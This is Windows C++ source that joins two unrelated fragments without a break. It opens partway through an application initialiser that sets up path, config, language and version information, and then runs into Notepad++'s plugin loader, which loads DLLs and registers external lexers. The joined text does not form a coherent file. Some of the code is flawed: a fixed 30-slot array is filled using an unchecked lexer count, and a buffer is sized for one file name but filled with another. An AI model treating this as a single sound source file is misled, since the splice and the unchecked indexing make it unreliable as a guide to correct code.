	u64Len = GetModuleFileName(NULL, sBuffer, MAX_PATH);
	if (u64Len) {
		m_lpAppPath = new TCHAR[u64Len + 1];
		_tcscpy((LPTSTR)m_lpAppPath, sBuffer);
	}

	ptr = _tcsrchr(sBuffer, _T('\\'));
	if (ptr) {
		ptr++;
		PathRemoveExtension(ptr);
		m_lpAppName = new TCHAR[_tcslen(ptr) + 1];
		_tcscpy((LPTSTR)m_lpAppName, ptr);
		*(ptr) = _T('\0');
		SetCurrentDirectory(sBuffer);

		u64Len = _tcslen(sBuffer) + 1;
		m_lpAppDir = new TCHAR[u64Len];
		_tcscpy((LPTSTR)m_lpAppDir, sBuffer);

#ifdef KDAPP_ENABLE_GETAPPOTHERDIR
		m_lpAppConfDir = new TCHAR[u64Len + _tcslen(_T("conf\\"))];
		_stprintf((LPTSTR)m_lpAppConfDir, _T("%sconf\\"), m_lpAppDir);
		if (!PathFileExists(m_lpAppConfDir))
			::CreateDirectory(m_lpAppConfDir, NULL);

		m_lpAppLangDir = new TCHAR[u64Len + _tcslen(_T("lang\\"))];
		_stprintf((LPTSTR)m_lpAppLangDir, _T("%slang\\"), m_lpAppDir);
		if (!PathFileExists(m_lpAppLangDir))
			::CreateDirectory(m_lpAppLangDir, NULL);
#endif //KDAPP_ENABLE_GETAPPOTHERDIR

#ifdef KDAPP_ENABLE_UPDATEAPPONLINE
		m_lpTmpBatchPath = new TCHAR[u64Len + _tcslen(_T("tmp.cmd"))];
		_stprintf((LPTSTR)m_lpTmpBatchPath, _T("%stmp.vbs"), m_lpAppDir);
#endif
	} else {
		MessageBox(NULL, _T("Can not locate the execution file!"), _T("ERROR"), MB_OK | MB_ICONERROR);
	}

#ifdef KDAPP_ENABLE_GETAPPVERSION
	if (m_lpAppPath) {
		u64Len = GetFileVersionInfoSize(m_lpAppPath, NULL);
		while (u64Len) {
			struct LANGANDCODEPAGE {
				WORD wLanguage;
				WORD wCodePage;
			} *lpTranslate;

			CString sQuery;
			CString sVer;
			TCHAR *btVersion;
			UINT uVersionLen;
			BYTE *pData = new BYTE[u64Len];

			GetFileVersionInfo(m_lpAppPath, NULL, u64Len, pData);

			if (!VerQueryValue(pData, _T("\\VarFileInfo\\Translation"), (LPVOID*)&lpTranslate, &uVersionLen))
				break;

			sQuery.Format(_T("\\StringFileInfo\\%04x%04x\\FileVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
			if (VerQueryValue(pData, (LPTSTR)(LPCTSTR)sQuery, (LPVOID *)&btVersion, &uVersionLen)) {
				sVer = btVersion;
				sVer.Replace(_T(" "), _T(""));
				sVer.Replace(_T(","), _T("."));
				m_lpAppFileVer = new TCHAR[uVersionLen + 1];
				_tcscpy((LPTSTR)m_lpAppFileVer, sVer);
			}

			sQuery.Format(_T("\\StringFileInfo\\%04x%04x\\ProductVersion"), lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
			if (VerQueryValue(pData, (LPTSTR)(LPCTSTR)sQuery, (LPVOID *)&btVersion, &uVersionLen)) {
				sVer = btVersion;
				sVer.Replace(_T(" "), _T(""));
				sVer.Replace(_T(","), _T("."));
				m_lpAppProductVer = new TCHAR[uVersionLen + 1];
				_tcscpy((LPTSTR)m_lpAppProductVer, sVer);
			}

			delete [] pData;
			break;
		}
	}
#endif //KDAPP_ENABLE_GETAPPVERSION
}
int PluginsManager::loadPlugin(const generic_string& pluginFilePath, std::vector<generic_string> & dll2Remove)
{
	PluginInfo *pi = new PluginInfo;
	try {
		pi->_moduleName = PathFindFileName(pluginFilePath.c_str());

		pi->_hLib = ::LoadLibrary(pluginFilePath.c_str());
		if (!pi->_hLib)
			throw generic_string(TEXT("Load Library is failed.\nMake \"Runtime Library\" setting of this project as \"Multi-threaded(/MT)\" may cure this problem."));

		pi->_pFuncIsUnicode = (PFUNCISUNICODE)GetProcAddress(pi->_hLib, "isUnicode");
#ifdef UNICODE
		if (!pi->_pFuncIsUnicode || !pi->_pFuncIsUnicode())
			throw generic_string(TEXT("This ANSI plugin is not compatible with your Unicode Notepad++."));
#else
		if (pi->_pFuncIsUnicode)
			throw generic_string(TEXT("This Unicode plugin is not compatible with your ANSI mode Notepad++."));
#endif

		pi->_pFuncSetInfo = (PFUNCSETINFO)GetProcAddress(pi->_hLib, "setInfo");

		if (!pi->_pFuncSetInfo)
			throw generic_string(TEXT("Missing \"setInfo\" function"));

		pi->_pFuncGetName = (PFUNCGETNAME)GetProcAddress(pi->_hLib, "getName");
		if (!pi->_pFuncGetName)
			throw generic_string(TEXT("Missing \"getName\" function"));

		pi->_pBeNotified = (PBENOTIFIED)GetProcAddress(pi->_hLib, "beNotified");
		if (!pi->_pBeNotified)
			throw generic_string(TEXT("Missing \"beNotified\" function"));

		pi->_pMessageProc = (PMESSAGEPROC)GetProcAddress(pi->_hLib, "messageProc");
		if (!pi->_pMessageProc)
			throw generic_string(TEXT("Missing \"messageProc\" function"));

		pi->_pFuncSetInfo(_nppData);

		pi->_pFuncGetFuncsArray = (PFUNCGETFUNCSARRAY)GetProcAddress(pi->_hLib, "getFuncsArray");
		if (!pi->_pFuncGetFuncsArray)
			throw generic_string(TEXT("Missing \"getFuncsArray\" function"));

		pi->_funcItems = pi->_pFuncGetFuncsArray(&pi->_nbFuncItem);

		if ((!pi->_funcItems) || (pi->_nbFuncItem <= 0))
			throw generic_string(TEXT("Missing \"FuncItems\" array, or the nb of Function Item is not set correctly"));

		pi->_pluginMenu = ::CreateMenu();

		GetLexerCountFn GetLexerCount = (GetLexerCountFn)::GetProcAddress(pi->_hLib, "GetLexerCount");
		// it's a lexer plugin
		if (GetLexerCount)
		{
			GetLexerNameFn GetLexerName = (GetLexerNameFn)::GetProcAddress(pi->_hLib, "GetLexerName");
			if (!GetLexerName)
				throw generic_string(TEXT("Loading GetLexerName function failed."));

			GetLexerStatusTextFn GetLexerStatusText = (GetLexerStatusTextFn)::GetProcAddress(pi->_hLib, "GetLexerStatusText");

			if (!GetLexerStatusText)
				throw generic_string(TEXT("Loading GetLexerStatusText function failed."));

			// Assign a buffer for the lexer name.
			char lexName[MAX_EXTERNAL_LEXER_NAME_LEN];
			lexName[0] = '\0';
			TCHAR lexDesc[MAX_EXTERNAL_LEXER_DESC_LEN];
			lexDesc[0] = '\0';

			int numLexers = GetLexerCount();

			NppParameters * nppParams = NppParameters::getInstance();

			ExternalLangContainer *containers[30];
#ifdef UNICODE
			WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance();
#endif
			for (int x = 0; x < numLexers; x++)
			{
				GetLexerName(x, lexName, MAX_EXTERNAL_LEXER_NAME_LEN);
				GetLexerStatusText(x, lexDesc, MAX_EXTERNAL_LEXER_DESC_LEN);
#ifdef UNICODE
				const TCHAR *pLexerName = wmc->char2wchar(lexName, CP_ACP);
#else
				const TCHAR *pLexerName = lexName;
#endif
				if (!nppParams->isExistingExternalLangName(pLexerName) && nppParams->ExternalLangHasRoom())
					containers[x] = new ExternalLangContainer(pLexerName, lexDesc);
				else
					containers[x] = NULL;
			}

			TCHAR xmlPath[MAX_PATH];
            lstrcpy(xmlPath, nppParams->getNppPath().c_str());
			PathAppend(xmlPath, TEXT("plugins\\Config"));
            PathAppend(xmlPath, pi->_moduleName.c_str());
			PathRemoveExtension(xmlPath);
			PathAddExtension(xmlPath, TEXT(".xml"));

			if (!PathFileExists(xmlPath))
			{
				memset(xmlPath, 0, MAX_PATH * sizeof(TCHAR));
				lstrcpy(xmlPath, nppParams->getAppDataNppDir() );
				PathAppend(xmlPath, TEXT("plugins\\Config"));
                PathAppend(xmlPath, pi->_moduleName.c_str());
				PathRemoveExtension( xmlPath );
				PathAddExtension( xmlPath, TEXT(".xml") );

				if (! PathFileExists( xmlPath ) )
				{
					throw generic_string(generic_string(xmlPath) + TEXT(" is missing."));
				}
			}

			TiXmlDocument *_pXmlDoc = new TiXmlDocument(xmlPath);

			if (!_pXmlDoc->LoadFile())
			{
				delete _pXmlDoc;
				_pXmlDoc = NULL;
				throw generic_string(generic_string(xmlPath) + TEXT(" failed to load."));
			}

			for (int x = 0; x < numLexers; x++) // postpone adding in case the xml is missing/corrupt
				if (containers[x] != NULL)
					nppParams->addExternalLangToEnd(containers[x]);

			nppParams->getExternalLexerFromXmlTree(_pXmlDoc);
			nppParams->getExternalLexerDoc()->push_back(_pXmlDoc);
#ifdef UNICODE
			const char *pDllName = wmc->wchar2char(pluginFilePath.c_str(), CP_ACP);
#else
			const char *pDllName = pluginFilePath.c_str();
#endif
			::SendMessage(_nppData._scintillaMainHandle, SCI_LOADLEXERLIBRARY, 0, (LPARAM)pDllName);
		}

		_pluginInfos.push_back(pi);
        return (_pluginInfos.size() - 1);
	}
	catch(generic_string s)
	{
		s += TEXT("\n\n");
		s += USERMSG;
		if (::MessageBox(NULL, s.c_str(), pluginFilePath.c_str(), MB_YESNO) == IDYES)
		{
			dll2Remove.push_back(pluginFilePath);
		}
		delete pi;
        return -1;
	}
	catch(...)
	{
		generic_string msg = TEXT("Fail loaded");
		msg += TEXT("\n\n");
		msg += USERMSG;
		if (::MessageBox(NULL, msg.c_str(), pluginFilePath.c_str(), MB_YESNO) == IDYES)
		{
			dll2Remove.push_back(pluginFilePath);
		}
		delete pi;
        return -1;
	}
}